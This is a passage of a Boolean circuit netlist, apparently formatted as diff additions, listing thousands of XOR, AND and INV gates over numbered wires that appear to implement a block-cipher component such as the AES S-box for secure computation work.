+2 1 2643 2635 2686 XOR +2 1 2643 2634 2689 XOR +2 1 2689 2688 2685 AND +2 1 2685 2687 2684 XOR +2 1 2686 2684 2683 AND +2 1 2685 2640 2680 XOR +2 1 2683 2640 2682 XOR +2 1 2682 2701 2661 AND +2 1 2682 2708 2652 AND +2 1 2683 2634 2585 XOR +2 1 2683 2695 2588 XOR +2 1 2588 2624 2584 XOR +2 1 34467 2584 2583 XOR +2 1 34469 2584 2587 XOR +2 1 2691 2644 2638 XOR +2 1 2694 2638 2593 XOR +2 1 34463 2593 2681 XOR +2 1 2680 2681 2679 AND +2 1 2679 2638 2592 XOR +2 1 2679 2696 2591 XOR +2 1 2591 2693 2586 XOR +2 1 2586 2587 2670 XOR +2 1 2670 2702 2660 AND +2 1 2670 2713 2651 AND +2 1 2685 2679 2677 XOR +2 1 2687 2677 2676 AND +2 1 2676 2694 2647 XOR +2 1 34463 2647 2629 XOR +2 1 2629 2592 2675 XOR +2 1 2675 2704 2665 AND +2 1 2647 2641 2668 XOR +2 1 2676 2684 2674 XOR +2 1 2682 2674 2673 AND +2 1 2673 2697 2590 XOR +2 1 2629 2590 2582 XOR +2 1 2619 2582 2589 XOR +2 1 2582 2583 2667 XOR +2 1 2667 2700 2659 AND +2 1 2659 2660 2610 XOR +2 1 2667 2715 2650 AND +2 1 2650 2651 2645 XOR +2 1 2675 2706 2656 AND +2 1 2656 2645 2626 XOR +2 1 2668 2709 2657 AND +2 1 2657 2626 2627 XOR +2 1 2673 2643 2633 XOR +2 1 2633 2585 2669 XOR +2 1 2669 2714 2654 AND +2 1 2669 2699 2663 AND +2 1 2663 2654 2615 XOR +2 1 2633 2635 2672 XOR +2 1 2672 2707 2653 AND +2 1 2672 2711 2662 AND +2 1 2662 2663 2631 XOR +2 1 2659 2662 2614 XOR +1 1 2614 2611 INV +2 1 2659 2631 2639 XOR +2 1 2660 2639 2598 XOR +2 1 2627 2598 34597 XOR +2 1 34597 1088 36854 XOR +2 1 2661 2662 2599 XOR +2 1 2586 2589 2671 XOR +2 1 2671 2712 2649 AND +2 1 2671 2703 2658 AND +2 1 2654 2658 2630 XOR +1 1 2630 2608 INV +2 1 2608 2652 2607 XOR +2 1 2660 2649 2609 XOR +1 1 2609 2605 INV +2 1 2668 2705 2666 AND +2 1 2665 2627 2632 XOR +2 1 2666 2632 2637 XOR +2 1 2637 2610 2717 XOR +2 1 2631 2637 34594 XOR +2 1 34594 1091 36851 XOR +1 1 2717 34596 INV +2 1 34596 1089 36853 XOR +2 1 2661 2653 2617 XOR +2 1 2617 2645 2613 XOR +2 1 2608 2613 2612 XOR +2 1 2611 2612 2718 XOR +1 1 2718 34591 INV +2 1 34591 1094 36848 XOR +2 1 2679 2687 2678 XOR +2 1 2678 2710 2655 AND +2 1 2655 2639 2604 XOR +1 1 2604 2601 INV +2 1 2678 34462 2664 AND +2 1 2664 2632 2600 XOR +2 1 2664 2666 2646 XOR +2 1 2607 2646 2603 XOR +2 1 2651 2603 2606 XOR +2 1 2599 2600 34593 XOR +2 1 2605 2606 2716 XOR +2 1 2646 2613 2616 XOR +2 1 2615 2616 2719 XOR +1 1 2719 34590 INV +2 1 34590 1095 36847 XOR +2 1 2626 2603 2602 XOR +2 1 2601 2602 34592 XOR +2 1 34592 1093 36849 XOR +1 1 2716 34595 INV +2 1 34593 1092 36850 XOR +2 1 34595 1090 36852 XOR +2 1 27576 27577 27479 XOR +2 1 27479 27480 27526 XOR +2 1 27526 27508 27525 XOR +2 1 27579 27525 27573 XOR +2 1 27574 27573 27570 AND +2 1 27570 27524 27565 XOR +2 1 27565 27566 27564 AND +2 1 27564 27581 27476 XOR +2 1 27476 27578 27471 XOR +2 1 27564 27572 27563 XOR +2 1 27563 27595 27540 AND +2 1 27570 27564 27562 XOR +2 1 27564 27522 27477 XOR +2 1 27563 34318 27549 AND +2 1 27572 27562 27561 AND +2 1 27570 27572 27569 XOR +2 1 27571 27569 27568 AND +2 1 27568 27524 27567 XOR +2 1 27567 27586 27546 AND +2 1 27568 27518 27470 XOR +2 1 27561 27569 27559 XOR +2 1 27567 27559 27558 AND +2 1 27558 27582 27475 XOR +2 1 27558 27527 27517 XOR +2 1 27517 27519 27557 XOR +2 1 27557 27596 27547 AND +2 1 27546 27547 27484 XOR +2 1 27517 27470 27554 XOR +2 1 27554 27584 27548 AND +2 1 27554 27599 27539 AND +2 1 27548 27539 27500 XOR +2 1 27547 27548 27533 XOR +2 1 27567 27593 27537 AND +2 1 27557 27592 27538 AND +2 1 27546 27538 27502 XOR +2 1 27568 27580 27473 XOR +2 1 27473 27509 27469 XOR +2 1 34323 27469 27468 XOR +2 1 34325 27469 27472 XOR +2 1 27471 27472 27555 XOR +2 1 27555 27587 27545 AND +2 1 27555 27598 27536 AND +2 1 27561 27579 27531 XOR +2 1 27531 27525 27553 XOR +2 1 27553 27594 27542 AND +2 1 27553 27590 27551 AND +2 1 27549 27551 27530 XOR +2 1 34319 27531 27514 XOR +2 1 27514 27477 27560 XOR +2 1 27560 27589 27550 AND +2 1 27560 27591 27541 AND +2 1 27514 27475 27467 XOR +2 1 27467 27468 27552 XOR +2 1 27552 27585 27544 AND +2 1 27552 27600 27535 AND +2 1 27535 27536 27529 XOR +2 1 27541 27529 27511 XOR +2 1 27542 27511 27512 XOR +2 1 27544 27547 27499 XOR +1 1 27499 27496 INV +2 1 27502 27529 27498 XOR +2 1 27550 27512 27516 XOR +2 1 27551 27516 27521 XOR +2 1 27533 27521 36461 XOR +2 1 36456 36461 11684 XOR +2 1 11690 11684 36394 XOR +2 1 27549 27516 27485 XOR +2 1 27484 27485 36460 XOR +2 1 36460 11423 11422 XOR +2 1 11684 11653 11600 XOR +2 1 11630 36461 11616 XOR +2 1 11615 11616 36370 XOR +2 1 36370 1179 34506 XOR +2 1 36460 36464 11638 XOR +2 1 11706 11638 36369 XOR +2 1 36369 1180 34505 XOR +2 1 11638 11636 11577 XOR +2 1 11577 11578 11576 XOR +1 1 11576 36393 INV +2 1 36393 1156 34529 XOR +2 1 11684 11638 11589 XOR +2 1 32854 11600 36379 XOR +2 1 36379 1170 34515 XOR +2 1 36394 1155 34530 XOR +2 1 27544 27545 27495 XOR +2 1 27530 27498 27501 XOR +2 1 27500 27501 27604 XOR +1 1 27604 33116 INV +2 1 32849 33116 11370 XOR +2 1 32830 33116 11681 XOR +2 1 33116 11428 36366 XOR +2 1 11681 11648 11606 XOR +2 1 11681 11618 11583 XOR +2 1 32849 11583 36390 XOR +2 1 36390 1159 34526 XOR +2 1 27521 27495 27602 XOR +1 1 27602 33114 INV +2 1 33114 11611 36372 XOR +2 1 36372 1177 34508 XOR +2 1 34506 34508 3180 XOR +2 1 32847 33114 11585 XOR +2 1 36366 1183 34502 XOR +2 1 34502 34508 3184 XOR +2 1 36457 33114 11683 XOR +2 1 11683 32855 11573 XOR +2 1 11573 11574 36396 XOR +2 1 36396 1153 34532 XOR +2 1 34530 34532 3320 XOR +2 1 34526 34532 3324 XOR +2 1 11683 11618 11594 XOR +2 1 36458 11594 36381 XOR +2 1 36381 1168 34517 XOR +2 1 34515 34517 32400 XOR +2 1 27544 27533 27523 XOR +2 1 27545 27523 27483 XOR +2 1 27540 27523 27489 XOR +1 1 27489 27486 INV +2 1 27512 27483 36462 XOR +2 1 36462 10386 11610 XOR +2 1 36462 36466 11633 XOR +2 1 11681 11633 11593 XOR +2 1 11633 32857 11369 XOR +2 1 11369 11370 11713 XOR +2 1 11633 36469 11590 XOR +2 1 11589 11590 36386 XOR +2 1 36386 1163 34522 XOR +2 1 11609 11610 36373 XOR +2 1 36373 1176 34509 XOR +2 1 34506 34509 3272 XOR +2 1 36458 36462 11619 XOR +2 1 11641 11619 11572 XOR +2 1 36466 11572 36397 XOR +2 1 36397 1152 34533 XOR +2 1 34530 34533 3411 XOR +2 1 11619 36470 11584 XOR +2 1 11584 11585 36389 XOR +2 1 11668 11619 11608 XOR +2 1 32830 11608 36374 XOR +2 1 36374 1175 34510 XOR +2 1 36389 1160 34525 XOR +2 1 34522 34525 32215 XOR +2 1 32858 11593 36382 XOR +2 1 11633 36463 11371 XOR +2 1 27504 27467 27474 XOR +2 1 27471 27474 27556 XOR +2 1 27556 27588 27543 AND +2 1 27556 27597 27534 AND +2 1 27545 27534 27494 XOR +1 1 27494 27490 INV +2 1 36382 1167 34518 XOR +2 1 27539 27543 27515 XOR +1 1 27515 27493 INV +2 1 27493 27498 27497 XOR +2 1 27496 27497 27603 XOR +1 1 27603 33115 INV +2 1 32829 33115 11673 XOR +2 1 32858 33115 11384 XOR +2 1 11383 11384 11707 XOR +2 1 11713 11673 36383 XOR +2 1 11673 11636 11604 XOR +2 1 36454 11604 36376 XOR +2 1 36376 1173 34512 XOR +2 1 34517 34512 32492 XOR +1 1 11673 11582 INV +2 1 11582 11668 11580 XOR +2 1 11580 11581 36391 XOR +2 1 36391 1158 34527 XOR +2 1 34533 34527 3412 XOR +2 1 34527 34529 3317 XOR +2 1 3317 3411 3403 XOR +2 1 34526 3403 3402 XOR +2 1 32848 33115 11592 XOR +2 1 11707 11648 36367 XOR +2 1 36367 1182 34503 XOR +2 1 34509 34503 3273 XOR +2 1 34503 34505 3177 XOR +2 1 3177 3272 3264 XOR +2 1 34502 3264 3263 XOR +2 1 27493 27537 27492 XOR +2 1 27492 27530 27488 XOR +2 1 27536 27488 27491 XOR +2 1 27490 27491 27601 XOR +1 1 27601 33113 INV +2 1 33113 36461 11588 XOR +2 1 33113 32854 11643 XOR +2 1 11643 11635 11575 XOR +2 1 32834 11575 36395 XOR +2 1 11641 33113 11596 XOR +2 1 11596 11597 11595 XOR +1 1 11643 11614 INV +2 1 11614 32855 11612 XOR +2 1 11612 11613 36371 XOR +2 1 36395 1154 34531 XOR +2 1 34531 3324 3409 XOR +2 1 3320 34531 3279 XOR +2 1 11587 11588 36387 XOR +2 1 36387 1162 34523 XOR +2 1 34523 34525 32122 XOR +1 1 11595 36380 INV +2 1 36380 1169 34516 XOR +2 1 34510 34516 32406 XOR +2 1 32400 32406 32488 XOR +2 1 34515 32406 32491 XOR +2 1 34527 3409 3405 XOR +2 1 3409 3405 3392 AND +2 1 36371 1178 34507 XOR +2 1 34507 34509 3178 XOR +2 1 34507 3184 3270 XOR +2 1 3180 34507 3139 XOR +2 1 3178 3184 3267 XOR +2 1 3180 3178 3140 XOR +2 1 34502 3139 3269 XOR +2 1 3269 34502 3255 AND +2 1 34531 34533 3318 XOR +2 1 3320 3318 3280 XOR +2 1 34526 3279 3408 XOR +2 1 3408 34526 3394 AND +2 1 34503 3270 3266 XOR +2 1 3270 3266 3253 AND +2 1 27511 27488 27487 XOR +2 1 27486 27487 36459 XOR +2 1 32857 36459 11427 XOR +2 1 11426 11427 36368 XOR +2 1 36460 36459 11372 XOR +2 1 36368 1181 34504 XOR +2 1 34503 34504 3195 XOR +2 1 34504 3177 3179 XOR +2 1 3195 3267 3265 XOR +2 1 3265 3263 3256 AND +2 1 34504 34506 3274 XOR +2 1 3184 3179 3260 XOR +2 1 3272 3195 3268 XOR +2 1 3264 3268 3257 AND +2 1 3257 3180 3183 XOR +2 1 34509 34504 3271 XOR +2 1 34508 3179 3261 XOR +2 1 3272 3261 3251 AND +2 1 3251 3179 3181 XOR +2 1 3183 3181 3187 XOR +2 1 34509 3187 3193 XOR +2 1 11371 11372 11712 XOR +2 1 3178 3274 3259 XOR +2 1 3274 3259 3250 AND +2 1 3250 3251 3153 XOR +2 1 3250 3256 3202 XOR +2 1 3202 3193 3248 XOR +2 1 34507 3179 3258 XOR +2 1 3273 3258 3254 AND +2 1 3254 3178 3182 XOR +2 1 34505 34504 3154 XOR +2 1 3153 3154 3201 XOR +2 1 3201 3182 3200 XOR +2 1 3253 3200 3247 XOR +2 1 3248 3247 3244 AND +2 1 3267 3260 3252 AND +2 1 36454 36459 11658 XOR +2 1 11658 36467 11591 XOR +2 1 11658 11648 11579 XOR +2 1 11658 11644 11603 XOR +1 1 11603 11601 INV +2 1 11591 11592 36384 XOR +2 1 36384 1165 34520 XOR +2 1 34520 34522 32217 XOR +2 1 32122 32217 32202 XOR +2 1 34525 34520 32214 XOR +2 1 32217 32202 32193 AND +2 1 3318 3324 3406 XOR +2 1 3177 3140 3262 XOR +2 1 3271 3262 3249 AND +2 1 3249 3252 3203 XOR +2 1 3182 3203 3156 XOR +2 1 3250 3203 3197 XOR +2 1 3249 3255 3207 XOR +2 1 3207 3178 3194 XOR +2 1 3187 3207 3155 XOR +2 1 3156 3181 3246 XOR +2 1 3244 3246 3243 XOR +2 1 34507 3155 3199 XOR +2 1 3244 3199 3239 XOR +2 1 3253 3197 3152 XOR +2 1 34503 3152 3240 XOR +2 1 3239 3240 3238 AND +2 1 3238 3197 3151 XOR +2 1 3238 3246 3237 XOR +2 1 3237 3269 3214 AND +2 1 3237 34502 3223 AND +2 1 3238 3255 3150 XOR +2 1 3150 3252 3145 XOR +2 1 11683 11643 11586 XOR +2 1 32856 11586 36388 XOR +2 1 36388 1161 34524 XOR +2 1 34522 34524 32124 XOR +2 1 34518 34524 32128 XOR +2 1 32122 32128 32210 XOR +2 1 34523 32128 32213 XOR +2 1 32124 32122 32084 XOR +2 1 32124 34523 32083 XOR +2 1 34518 32083 32212 XOR +2 1 32212 34518 32198 AND +2 1 36383 1166 34519 XOR +2 1 34519 32213 32209 XOR +2 1 34519 34520 32138 XOR +2 1 32215 32138 32211 XOR +2 1 34525 34519 32216 XOR +2 1 32213 32209 32196 AND +2 1 32138 32210 32208 XOR +2 1 3317 3280 3401 XOR +2 1 36463 11579 36392 XOR +2 1 36392 1157 34528 XOR +2 1 34529 34528 3294 XOR +2 1 34528 3317 3319 XOR +2 1 34527 34528 3334 XOR +2 1 3411 3334 3407 XOR +2 1 3334 3406 3404 XOR +2 1 3404 3402 3395 AND +2 1 34533 34528 3410 XOR +2 1 3403 3407 3396 AND +2 1 3396 3320 3323 XOR +2 1 34531 3319 3397 XOR +2 1 3324 3319 3399 XOR +2 1 3406 3399 3391 AND +2 1 34532 3319 3400 XOR +2 1 3411 3400 3390 AND +2 1 3390 3319 3321 XOR +2 1 3323 3321 3327 XOR +2 1 34533 3327 3332 XOR +2 1 3410 3401 3388 AND +2 1 3388 3394 3346 XOR +2 1 3327 3346 3295 XOR +2 1 34531 3295 3338 XOR +2 1 3346 3318 3333 XOR +2 1 3388 3391 3342 XOR +2 1 3412 3397 3393 AND +2 1 3393 3318 3322 XOR +2 1 3322 3342 3296 XOR +2 1 3296 3321 3385 XOR +2 1 3202 3194 3245 XOR +2 1 3245 3243 3242 AND +2 1 3242 3193 3144 XOR +2 1 3242 3254 3147 XOR +2 1 3242 3199 3241 XOR +2 1 3241 3260 3220 AND +2 1 3241 3267 3211 AND +2 1 3147 3183 3143 XOR +2 1 34507 3143 3142 XOR +2 1 34509 3143 3146 XOR +2 1 3145 3146 3229 XOR +2 1 3229 3272 3210 AND +2 1 3229 3261 3219 AND +2 1 11712 11644 36385 XOR +2 1 36385 1164 34521 XOR +2 1 34521 34520 32098 XOR +2 1 34519 34521 32121 XOR +2 1 32121 32084 32205 XOR +2 1 32214 32205 32192 AND +2 1 32192 32198 32150 XOR +2 1 32150 32122 32137 XOR +2 1 32121 32215 32207 XOR +2 1 32207 32211 32200 AND +2 1 32200 32124 32127 XOR +2 1 34518 32207 32206 XOR +2 1 32208 32206 32199 AND +2 1 32193 32199 32145 XOR +2 1 32145 32137 32188 XOR +2 1 34520 32121 32123 XOR +2 1 34523 32123 32201 XOR +2 1 32216 32201 32197 AND +2 1 32197 32122 32126 XOR +2 1 34524 32123 32204 XOR +2 1 32215 32204 32194 AND +2 1 32193 32194 32097 XOR +2 1 32194 32123 32125 XOR +2 1 32097 32098 32144 XOR +2 1 32128 32123 32203 XOR +2 1 32210 32203 32195 AND +2 1 32192 32195 32146 XOR +2 1 32193 32146 32140 XOR +2 1 32196 32140 32096 XOR +2 1 34519 32096 32183 XOR +2 1 32126 32146 32100 XOR +2 1 32100 32125 32189 XOR +2 1 32144 32126 32143 XOR +2 1 32196 32143 32190 XOR +2 1 32127 32125 32131 XOR +2 1 32131 32150 32099 XOR +2 1 34525 32131 32136 XOR +2 1 32145 32136 32191 XOR +2 1 32191 32190 32187 AND +2 1 32187 32189 32186 XOR +2 1 32188 32186 32185 AND +2 1 32185 32136 32088 XOR +2 1 32185 32197 32091 XOR +2 1 32091 32127 32087 XOR +2 1 34525 32087 32090 XOR +2 1 34523 32087 32086 XOR +2 1 34523 32099 32142 XOR +2 1 32185 32142 32184 XOR +2 1 32184 32203 32163 AND +2 1 32184 32210 32154 AND +2 1 32187 32142 32182 XOR +2 1 32182 32183 32181 AND +2 1 32181 32198 32094 XOR +2 1 32094 32195 32089 XOR +2 1 32187 32181 32179 XOR +2 1 32189 32179 32178 AND +2 1 32089 32090 32172 XOR +2 1 32172 32215 32153 AND +2 1 32172 32204 32162 AND +2 1 32181 32189 32180 XOR +2 1 32180 32212 32157 AND +2 1 32178 32186 32176 XOR +2 1 32184 32176 32175 AND +2 1 32175 32145 32135 XOR +2 1 32175 32199 32093 XOR +2 1 32135 32137 32174 XOR +2 1 32174 32213 32164 AND +2 1 32163 32164 32102 XOR +2 1 32174 32209 32155 AND +2 1 32163 32155 32120 XOR +2 1 32135 32088 32171 XOR +2 1 32171 32201 32165 AND +2 1 32164 32165 32728 XOR +2 1 32171 32216 32156 AND +2 1 32165 32156 32118 XOR +2 1 32181 32140 32095 XOR +2 1 32180 34518 32166 AND +2 1 32178 32196 32149 XOR +2 1 32149 32143 32170 XOR +2 1 32170 32207 32168 AND +2 1 32166 32168 32148 XOR +2 1 32170 32211 32159 AND +2 1 34519 32149 32132 XOR +2 1 32132 32095 32177 XOR +2 1 32177 32208 32158 AND +2 1 32177 32206 32167 AND +2 1 32132 32093 32085 XOR +2 1 32085 32086 32169 XOR +2 1 32169 32202 32161 AND +2 1 32161 32162 32113 XOR +2 1 32161 32728 32141 XOR +2 1 32162 32141 32101 XOR +2 1 32169 32217 32152 AND +2 1 32152 32153 32147 XOR +2 1 32157 32141 32107 XOR +1 1 32107 32104 INV +2 1 32120 32147 32116 XOR +2 1 32158 32147 32129 XOR +2 1 32159 32129 32130 XOR +2 1 32167 32130 32134 XOR +2 1 32130 32101 34653 XOR +2 1 32168 32134 32139 XOR +2 1 34653 1128 36814 XOR +2 1 32148 32116 32119 XOR +2 1 32118 32119 32221 XOR +1 1 32221 34646 INV +2 1 34646 1135 36807 XOR +2 1 32728 32139 34650 XOR +2 1 34650 1131 36811 XOR +2 1 32161 32164 32117 XOR +1 1 32117 32114 INV +2 1 32122 32085 32092 XOR +2 1 32089 32092 32173 XOR +2 1 32173 32214 32151 AND +2 1 32173 32205 32160 AND +2 1 32156 32160 32133 XOR +2 1 32162 32151 32112 XOR +1 1 32112 32108 INV +1 1 32133 32111 INV +2 1 32111 32116 32115 XOR +2 1 32111 32154 32110 XOR +2 1 32110 32148 32106 XOR +2 1 32129 32106 32105 XOR +2 1 32104 32105 34648 XOR +2 1 34648 1133 36809 XOR +2 1 32114 32115 32220 XOR +1 1 32220 34647 INV +2 1 34647 1134 36808 XOR +2 1 32153 32106 32109 XOR +2 1 32108 32109 32218 XOR +1 1 32218 34651 INV +2 1 34651 1130 36812 XOR +2 1 32166 32134 32103 XOR +2 1 32139 32113 32219 XOR +1 1 32219 34652 INV +2 1 34652 1129 36813 XOR +2 1 32102 32103 34649 XOR +2 1 34649 1132 36810 XOR +2 1 3244 3238 3236 XOR +2 1 3246 3236 3235 AND +2 1 3235 3243 3233 XOR +2 1 3241 3233 3232 AND +2 1 3232 3256 3149 XOR +2 1 3232 3202 3192 XOR +2 1 3192 3144 3228 XOR +2 1 3228 3273 3213 AND +2 1 3192 3194 3231 XOR +2 1 3231 3266 3212 AND +2 1 3231 3270 3221 AND +2 1 3220 3212 3176 XOR +2 1 3235 3253 3206 XOR +2 1 34503 3206 3188 XOR +2 1 3188 3151 3234 XOR +2 1 3234 3263 3224 AND +2 1 3234 3265 3215 AND +2 1 3206 3200 3227 XOR +2 1 3227 3264 3225 AND +2 1 3227 3268 3216 AND +2 1 3228 3258 3222 AND +2 1 3223 3225 3205 XOR +2 1 3220 3221 3158 XOR +2 1 3221 3222 3190 XOR +2 1 3188 3149 3141 XOR +2 1 3141 3142 3226 XOR +2 1 3226 3259 3218 AND +2 1 3218 3221 3173 XOR +1 1 3173 3170 INV +2 1 3218 3190 3198 XOR +2 1 3214 3198 3163 XOR +2 1 3219 3198 3157 XOR +2 1 3226 3274 3209 AND +2 1 3209 3210 3204 XOR +2 1 3176 3204 3172 XOR +2 1 3205 3172 3175 XOR +2 1 3215 3204 3185 XOR +2 1 3216 3185 3186 XOR +2 1 3224 3186 3191 XOR +2 1 3225 3191 3196 XOR +2 1 3186 3157 34637 XOR +2 1 3190 3196 34634 XOR +2 1 34634 1083 36859 XOR +1 1 3163 3160 INV +2 1 3223 3191 3159 XOR +2 1 34637 1080 36862 XOR +2 1 3178 3141 3148 XOR +2 1 3145 3148 3230 XOR +2 1 3230 3262 3217 AND +2 1 3230 3271 3208 AND +2 1 3219 3208 3168 XOR +1 1 3168 3164 INV +2 1 3213 3217 3189 XOR +1 1 3189 3167 INV +2 1 3167 3172 3171 XOR +2 1 3170 3171 3277 XOR +1 1 3277 34631 INV +2 1 34631 1086 36856 XOR +2 1 3167 3211 3166 XOR +2 1 3166 3205 3162 XOR +2 1 3185 3162 3161 XOR +2 1 3158 3159 34633 XOR +2 1 34633 1084 36858 XOR +2 1 3218 3219 3169 XOR +2 1 3196 3169 3276 XOR +2 1 3210 3162 3165 XOR +2 1 3164 3165 3275 XOR +1 1 3275 34635 INV +2 1 34635 1082 36860 XOR +1 1 3276 34636 INV +2 1 34636 1081 36861 XOR +2 1 3160 3161 34632 XOR +2 1 34632 1085 36857 XOR +2 1 3222 3213 3174 XOR +2 1 3174 3175 3278 XOR +1 1 3278 34630 INV +2 1 34630 1087 36855 XOR +2 1 36434 11501 36325 XOR +2 1 36325 1224 34461 XOR +2 1 34459 34461 2479 XOR +2 1 34461 34455 2574 XOR +2 1 34458 34461 2573 XOR +2 1 2574 2559 2555 AND +2 1 2573 2562 2552 AND +2 1 2555 2479 2483 XOR +2 1 2479 2575 2560 XOR +2 1 2573 2495 2569 XOR +2 1 2552 2480 2482 XOR +2 1 34461 34456 2572 XOR +2 1 2481 2479 2441 XOR +2 1 2575 2560 2551 AND +2 1 2551 2552 2454 XOR +2 1 2454 2455 2501 XOR +2 1 2501 2483 2500 XOR +2 1 2554 2500 2548 XOR +2 1 2479 2485 2568 XOR +2 1 2495 2568 2566 XOR +2 1 2478 2441 2563 XOR +2 1 2572 2563 2550 AND +2 1 2478 2573 2565 XOR +2 1 2565 2569 2558 AND +2 1 2558 2481 2484 XOR +2 1 2484 2482 2488 XOR +2 1 34461 2488 2493 XOR +2 1 2568 2561 2553 AND +2 1 2550 2553 2503 XOR +2 1 2483 2503 2457 XOR +2 1 2457 2482 2547 XOR +2 1 2551 2503 2497 XOR +2 1 2554 2497 2453 XOR +2 1 34455 2453 2541 XOR +2 1 34454 2565 2564 XOR +2 1 2566 2564 2557 AND +2 1 2551 2557 2502 XOR +2 1 2502 2493 2549 XOR +2 1 2549 2548 2545 AND +2 1 2545 2547 2544 XOR +2 1 2550 2556 2507 XOR +2 1 2507 2479 2494 XOR +2 1 2502 2494 2546 XOR +2 1 2546 2544 2543 AND +2 1 2543 2555 2448 XOR +2 1 2448 2484 2444 XOR +2 1 34459 2444 2443 XOR +2 1 34461 2444 2447 XOR +2 1 2543 2493 2445 XOR +2 1 2488 2507 2456 XOR +2 1 34459 2456 2499 XOR +2 1 2545 2499 2540 XOR +2 1 2540 2541 2539 AND +2 1 2539 2556 2451 XOR +2 1 2539 2497 2452 XOR +2 1 2543 2499 2542 XOR +2 1 2542 2561 2521 AND +2 1 2542 2568 2512 AND +2 1 2451 2553 2446 XOR +2 1 2446 2447 2530 XOR +2 1 2530 2562 2520 AND +2 1 2530 2573 2511 AND +2 1 2539 2547 2538 XOR +2 1 2538 34454 2524 AND +2 1 2538 2570 2515 AND +2 1 2545 2539 2537 XOR +2 1 2547 2537 2536 AND +2 1 2536 2544 2534 XOR +2 1 2542 2534 2533 AND +2 1 2533 2502 2492 XOR +2 1 2492 2494 2532 XOR +2 1 2492 2445 2529 XOR +2 1 2532 2567 2513 AND +2 1 2521 2513 2477 XOR +2 1 2533 2557 2450 XOR +2 1 2529 2574 2514 AND +2 1 2536 2554 2506 XOR +2 1 34455 2506 2489 XOR +2 1 2489 2452 2535 XOR +2 1 2535 2566 2516 AND +2 1 2535 2564 2525 AND +2 1 2489 2450 2442 XOR +2 1 2479 2442 2449 XOR +2 1 2442 2443 2527 XOR +2 1 2527 2575 2510 AND +2 1 2510 2511 2504 XOR +2 1 2477 2504 2473 XOR +2 1 2516 2504 2486 XOR +2 1 2527 2560 2519 AND +2 1 2519 2520 2470 XOR +2 1 2446 2449 2531 XOR +2 1 2531 2563 2518 AND +2 1 2514 2518 2490 XOR +1 1 2490 2468 INV +2 1 2468 2473 2472 XOR +2 1 2531 2572 2509 AND +2 1 2520 2509 2469 XOR +1 1 2469 2465 INV +2 1 2468 2512 2467 XOR +2 1 2529 2559 2523 AND +2 1 2523 2514 2475 XOR +2 1 2532 2571 2522 AND +2 1 2519 2522 2474 XOR +2 1 2522 2523 2508 XOR +2 1 2519 2508 2498 XOR +2 1 2515 2498 2464 XOR +1 1 2464 2461 INV +2 1 2520 2498 2458 XOR +2 1 2521 2522 2459 XOR +1 1 2474 2471 INV +2 1 2471 2472 2578 XOR +1 1 2578 34583 INV +2 1 34583 1070 36872 XOR +2 1 2506 2500 2528 XOR +2 1 2528 2569 2517 AND +2 1 2528 2565 2526 AND +2 1 2524 2526 2505 XOR +2 1 2467 2505 2463 XOR +2 1 2511 2463 2466 XOR +2 1 2465 2466 2576 XOR +2 1 2505 2473 2476 XOR +2 1 2475 2476 2579 XOR +1 1 2579 34582 INV +2 1 34582 1071 36871 XOR +2 1 2486 2463 2462 XOR +2 1 2461 2462 34584 XOR +2 1 34584 1069 36873 XOR +1 1 2576 34587 INV +2 1 34587 1066 36876 XOR +2 1 2517 2486 2487 XOR +2 1 2525 2487 2491 XOR +2 1 2524 2491 2460 XOR +2 1 2526 2491 2496 XOR +2 1 2496 2470 2577 XOR +2 1 2459 2460 34585 XOR +2 1 34585 1068 36874 XOR +2 1 2487 2458 34589 XOR +2 1 34589 1064 36878 XOR +2 1 2508 2496 34586 XOR +2 1 34586 1067 36875 XOR +1 1 2577 34588 INV +2 1 34588 1065 36877 XOR +2 1 34608 1141 36801 XOR +2 1 34528 34530 3413 XOR +2 1 3318 3413 3398 XOR +2 1 3413 3398 3389 AND +2 1 3389 3390 3293 XOR +2 1 3389 3342 3336 XOR +2 1 3392 3336 3292 XOR +2 1 34527 3292 3379 XOR +2 1 3293 3294 3340 XOR +2 1 3340 3322 3339 XOR +2 1 3392 3339 3386 XOR +2 1 3389 3395 3341 XOR +2 1 3341 3333 3384 XOR +2 1 3341 3332 3387 XOR +2 1 3387 3386 3383 AND +2 1 3383 3385 3382 XOR +2 1 3383 3338 3378 XOR +2 1 3378 3379 3377 AND +2 1 3377 3385 3376 XOR +2 1 3376 3408 3353 AND +2 1 3384 3382 3381 AND +2 1 3381 3332 3284 XOR +2 1 3381 3338 3380 XOR +2 1 3380 3406 3350 AND +2 1 3380 3399 3359 AND +2 1 3381 3393 3287 XOR +2 1 3287 3323 3283 XOR +2 1 34531 3283 3282 XOR +2 1 34533 3283 3286 XOR +2 1 3377 3336 3291 XOR +2 1 3377 3394 3290 XOR +2 1 3290 3391 3285 XOR +2 1 3285 3286 3368 XOR +2 1 3368 3411 3349 AND +2 1 3368 3400 3358 AND +2 1 3383 3377 3375 XOR +2 1 3385 3375 3374 AND +2 1 3374 3382 3372 XOR +2 1 3380 3372 3371 AND +2 1 3371 3341 3331 XOR +2 1 3331 3333 3370 XOR +2 1 3370 3405 3351 AND +2 1 3359 3351 3316 XOR +2 1 3371 3395 3289 XOR +2 1 3331 3284 3367 XOR +2 1 3367 3397 3361 AND +2 1 3367 3412 3352 AND +2 1 3374 3392 3345 XOR +2 1 3345 3339 3366 XOR +2 1 3366 3407 3355 AND +2 1 34527 3345 3328 XOR +2 1 3328 3289 3281 XOR +2 1 3281 3282 3365 XOR +2 1 3365 3398 3357 AND +2 1 3328 3291 3373 XOR +2 1 3373 3404 3354 AND +2 1 3318 3281 3288 XOR +2 1 3285 3288 3369 XOR +2 1 3369 3410 3347 AND +2 1 3358 3347 3308 XOR +1 1 3308 3304 INV +2 1 3357 3358 3309 XOR +2 1 3373 3402 3363 AND +2 1 3361 3352 3314 XOR +2 1 3369 3401 3356 AND +2 1 3352 3356 3329 XOR +1 1 3329 3307 INV +2 1 3307 3350 3306 XOR +2 1 3366 3403 3364 AND +2 1 3365 3413 3348 AND +2 1 3348 3349 3343 XOR +2 1 3316 3343 3312 XOR +2 1 3354 3343 3325 XOR +2 1 3355 3325 3326 XOR +2 1 3363 3326 3330 XOR +2 1 3364 3330 3335 XOR +2 1 3335 3309 3415 XOR +1 1 3415 34660 INV +2 1 34660 1025 36917 XOR +2 1 3370 3409 3360 AND +2 1 3359 3360 3298 XOR +2 1 3357 3360 3313 XOR +1 1 3313 3310 INV +2 1 3360 3361 32640 XOR +2 1 32640 3335 34658 XOR +2 1 34658 1027 36915 XOR +2 1 3357 32640 3337 XOR +2 1 3353 3337 3303 XOR +2 1 3358 3337 3297 XOR +2 1 3326 3297 34661 XOR +1 1 3303 3300 INV +2 1 34661 1024 36918 XOR +2 1 3307 3312 3311 XOR +2 1 3310 3311 3416 XOR +1 